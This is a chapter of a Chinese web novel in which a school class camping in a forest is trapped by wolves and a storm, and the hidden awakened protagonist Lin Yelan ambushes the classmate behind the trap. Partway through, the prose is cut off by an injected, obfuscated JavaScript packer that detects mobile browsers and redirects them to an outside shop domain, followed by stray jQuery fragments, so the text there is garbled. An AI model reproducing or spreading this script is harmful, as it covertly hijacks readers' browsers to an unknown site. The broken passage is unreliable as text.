CH19
“可恶,看来指望觉醒者来救我们是不可能了。”体育委员嘟囔着,“留给我们的只有自救这条路了。”
就像是刚刚找到希望又被残忍剥夺的所有人那样,同学们的反应着实算不上积极,林夜澜几乎可以看见那些身下最后一根救命稻草被抽走的崩溃表情在不止一位同学脸上浮现,或外露或压抑。
没有异常的反应。
坐在林夜澜身旁的白鹿突然拉住了林夜澜的胳膊,不动声色地向后退了几步,退出了火光笼罩的中央区域,让火光外巨大的阴影笼罩住了两人。
“这应该是冲着我来的。”白鹿的声音很紧绷,“因为我正在继承人考核中,这很有可能是组织中其他候选人针对我的手段,为了神不知鬼不觉地除掉我这个竞争对手。”
“结果却把所有人都牵扯进来了......无论是包围住我们的狼群还是突然失效的警报器,应该都是冲着我来的,真的很抱歉。”
不,对方的目标并不一定是白鹿。
林夜澜很冷静。
如果真的是白鹿的竞争对手干的,那么他们肯定清楚白鹿的实力,毕竟元素系异能者很常见,但是像白鹿这样在觉醒时就能降下范围笼罩住整座城市的六月飞雪的元素系觉醒者却十分罕见。
别说是狼群了,哪怕是出动成群结队的异种,也不一定能解决掉白鹿这个水平的觉醒者。
事实上,对于觉醒者来说,狼群的杀伤力甚至不敌等级稍微高些的异种。
那么明明知道狼群对于异能者的作用微乎其微,却还是创造出这个局面,对方的目的想必不是真的在这里除掉继承人竞争的对手,甚至他们很有可能连班级中是否真的存在觉醒者也无法确定,所以才会使用狼群作为手段。
啊,原来是试探啊。
狼群对于普通学生来说是可以轻而易举撕碎生命的存在,但是对于觉醒者来说却不痛不痒。
招来狼群的人想必是为了试探班级中是否存在觉醒者,才会创造出这样让众人陷入险境的场景。因为对外求助的途径被切断,但是同学们自救的危险性又极大,所以想通过这个场面来逼迫觉醒者出手。
为什么会突然怀疑班级中存在觉醒者呢?
纵观他们进入森林的这半天内,没有发生任何特殊的事情,除了......
除了林夜澜把那个正在培养动物和异种融合体的实验室给彻底捣毁。
克罗阐莫德,看来这个组织已经发现了损失,并且迅速采取了行动。
所以才会对此时刚好正在普利莫法大森林内进行郊游的高三二班产生疑心。
为了找出可能存在的罪魁祸首,他们甚至不惜将普通学生全部卷入危机,用全班四十多位同学的性命来胁迫一份可能性。
他们的目的不是白鹿,而是林夜澜。
思及此,林夜澜的心中已是一片冰冷。
无论是使用活体实验制造出变异的异种,还是拿普通人的性命作为威胁,都毫无疑问地踩在林夜澜的死线上。
他已经许久不曾感到如此杀意沸腾了。
不过对方应该没有料到,在这个小小的班级内,除了林夜澜之外,还有为了继承人考核专门转学过来的白鹿。
那就这样吧。
林夜澜微微仰头,对上了白鹿包含着愧疚与坚定的目光,拉住对方,掏出手机打下几句话,将屏幕转向白鹿,展示给对方看内容。
“你之前说过,会向我证明你自己。”林夜澜轻声道,“我假设这句话现在还有效。”
白鹿的目光落在手机屏幕上,半晌后,那双冰蓝色的眼眸转向林夜澜。
“当然。”他理所当然地如此回答。
//
“话说,林夜澜和白鹿两个人一向关系那么好吗?”
班长听到体育委员的话,抬起头,看见了不远处站在一起的两位同学。黑夜中林夜澜整个人几乎融入了暗色,而白鹿那浅色的头发则是格外醒目,在阴影中蒙上了一层暗影,显得几乎成了蒙蒙的银灰。
“他们两个是同桌吧。”班长擦了擦额上的汗水,举起手中点燃的火把,如此道,“也是时候该亲近起来了,毕竟白鹿一向很开朗。”
“但是我从来没有见过林夜澜主动和其他人搭话。”他们两个身旁,学习委员也凑了上来,“现在想想,林夜澜真的很低调,我几乎记不清上一次和他有对话是什么时候了,明明我天天收作业应该是和大家交流最多的。”
“很奇怪不是吗?”
“也有可能他就是这样的性格呢。”体育委员摸着下巴猜测,“就是那种,不乐意和别人打交道的性格。”
“唔,或许吧。”班长摸了摸脑袋,决定把这件事放下,“大家都拿上了火把吗?我们先尝试把狼群赶走吧。”
“狼群畏火,只要我们聚拢在一起不退缩,它们就不敢攻击拿着火把的我们。大家千万不要掉队,如果形单影只出现,那么万一狼群一拥而上就回天乏术了。”
“明白。”
同学们的声音还是有点颤颤巍巍,但是每个人眼中都闪烁着求生的意志。
那是想要活下去的,诞生于绝望中的渴求。
明明只是一场简单的露营,怎么会不到24小时就剧变到求生频道呢?
当拿着火把带着所有人离开原地时,班长脑海中还在如此纳闷。
但是天空中传来的巨响声却突然打断了他的思绪。
“轰隆——”
是雷声。
“不,不会吧。”这下就连一直大大咧咧的体育委员的声音也开始抖了,“难道要下雨了?”
班长心中一紧。
如果要下雨......
就说明他们目前一切安全的保障都将消失。
“明明入睡前还是晴空万里,怎么会突然就下雨呢。”学习委员的声音听上去快哭了,“这也太倒霉了。”
是啊,这也太倒霉了。
淋雨不是最可怕的,可怕的是雨水会浇灭篝火,随着篝火一起熄灭的还有他们存活的可能性。
这简直就是绝路。
“先不要慌。”班长努力压住自己的声音,不让心中的恐慌蔓延到其他人身上,努力维持镇定的模样,“就算要下雨也没有那么快,只要趁这段时间赶紧把狼群赶走,我们就还是安——”
他的话音还未落下,一颗豆大的水滴就重重落在额头上。
班长伸手,摸到了满手的潮湿。
下雨了。
而且还是倾盆暴雨。
“该死的,怎么偏偏这个时候!”体育委员的咒骂声响起,众人看去,才发现对方手上那支单薄的火把已经被雨水浇灭。
“赶紧都回到篝火边。”班长手中的火把也熄灭了,他着急道,“我们必须保住篝火,只有这样才能有生存的机会。”
人群就像惶恐的羊群,缩在彼此身边,好不容易鼓起勇气向外踏出的步伐被倾盆大水泼灭,匆匆忙忙向后退去。
只是短短几步路的距离,篝火就已经灭了大半。雨水大到令人几乎睁不开眼睛,几乎到了不正常的程度。
几个同学脱下了外套遮在篝火上方,试图保存些许火种,却无济于事。
“雨太大了。”随着火焰逐渐熄灭,刺骨的寒意也笼罩了上来,“燃烧的树枝和燃料已经完全湿透了,怎么办?”
“火绝对不能灭!”
班长走在所有人最后,几乎是急切地喊出这句话。
可是大雨却不随任何人的意志而转变。
在所有人绝望的注视中,燃烧的小火苗颤颤巍巍地最后跳动两下,熄灭了。
黑暗劈头盖脸地落了下来。
走在最后的班长几乎是感到后脖颈传来令人毛骨悚然的呼吸声,有野生动物口腔散发出的残留的肉腥味从雨幕下飘进鼻腔,伴随着腐烂的味道。雨太大了,遮住了一切行动的声音,只有暴雨落下的劈里啪啦声充斥着耳膜,带来未知的恐惧。
难道狼群已经跟上来了吗,这么快?
他不敢赌,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849852|211804||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
奋力向前跑去。
“铿!”
预想中尖齿刺入脖颈的疼痛并未发生,身后似乎有什么尖锐的东西相互碰撞,随之而来的是一声痛苦的嘶吼。
是有什么东西挡住了狼群的攻击吗?
这个念头一闪而逝,班长却不敢停留,抓住这个机会奋力向前跑去。
野兽的嘶吼、暴雨的噼啪、以及人群压抑而急促的呼吸声混杂在一起,构成了混乱而古怪的感官刺激,在黑夜和雨幕中谁也看不清究竟发生了什么。
有人受伤吗?其他同学都还好吗?
班长不敢深想,只能拼尽全力大声叫嚷:“大家背靠背站在一起,不要慌乱,不要脱离人群!用手里的树枝和任何东西向外抛掷攻击,我们会没事的。”
可是,真的会没事吗。
尽管如此,班长自己也忍不住疑惑着,只能强打精神为生存而拼死挣扎。
在黑暗的混乱中,谁也没注意到,有一个身影悄然离开了人群。
分明所有人都因为恐惧和安全彼此聚集,这个人影却逆着人群的方向,朝着班长原本站立的地方移动。
他就像是完全不在意虎视眈眈的狼群和危机,毫不在意地脱离混乱的人群,在树木茂密中四处寻觅着什么踪迹。
“轰隆!”
天空中有惊雷响起,闪电如刹那光亮,银白的电光短暂地点亮了整片区域,映照出同学们彼此惊恐的脸。
也照亮了站在人影所在小路的最前方,那个鬼魅般的黑色剪影。
闭眼。睁眼。
仅仅眨眼的瞬间,远处黑色的剪影就来到了跟前,黑色的发丝湿漉漉地贴在脸颊和颈侧,那双漆黑的眼眸在闪电的银白色光芒中没有反光,犹如两个黑洞,将一切都吸入其中,显得格外诡谲。
怎么会是他——
人影甚至还没开得及开口,脖颈上便感到森森的寒意。
闪着寒芒的锋利剑刃抵在他的脖子上。
“别开口。”耳边响起的声音如轻柔的毒蛇吐信,搭配着抵在脖颈上的利刃,格外具有说服力,“否则小心人首分离。”
和话语一同抵达的,是那人身上传来的浓郁血腥味,和潮湿水味。
还有如泰山压顶般令人几欲窒息的庞大杀意。
未脱出口的惊叫被强行咽回肚中,人影动作僵硬,微不可察地点了点头,深怕动作幅度稍大些就让剑刃戳穿柔软的皮肤。
“很好。”
林夜澜满意点头。
人影心里有无数个念头闪过,哪怕是被近在咫尺的死神的气息扼住咽喉,也无法阻止他内心慌乱而庞杂的思绪。
他完全没有察觉到除了自己之外,班级内居然还有实力如此强大的觉醒者。对方肯定就是那位破坏掉实验基地的家伙,但是自己究竟是怎么被发现的……
明明一开始的计划只是利用狼群来引出对方,可是不知道从什么时候起,形式已经悄然翻转。
他自以为是抛出诱饵的猎人,却直到此刻才骤然恍悟,原来猎人和猎物的角色早已翻转。
从暴雨降临并浇灭篝火的那一刻起,他就已经无知无觉地踏入了另一个人的陷阱中,露出了致命的破绽。
……该死的。
怨恨与愤怒不自觉地从眼眸中流露而出,然而覆盖它们的是如潮水般庞大的恐惧。
怎么会有这样的怪物出现。
他真的还能活过今晚吗?
这是人影脑海中闪过的最后一个想法。
他只感到自己的脖颈骤然一痛,黑暗便笼罩而来,淹没了他的意识。
一切都化作了暴雨下的红与黑。
就在这时,手机自带的手电筒的白光骤然亮起,扫过这片区域,也在刹那间照亮了林夜澜和另一个身影。
班长站在几步之遥的地方,幽幽白光点亮了他的瞳孔底部,也映照出里面倒映的画面。
长发披散,浑身湿透的林夜澜。
以及满身鲜血,倒在林夜澜脚下,不知生死的那位同学。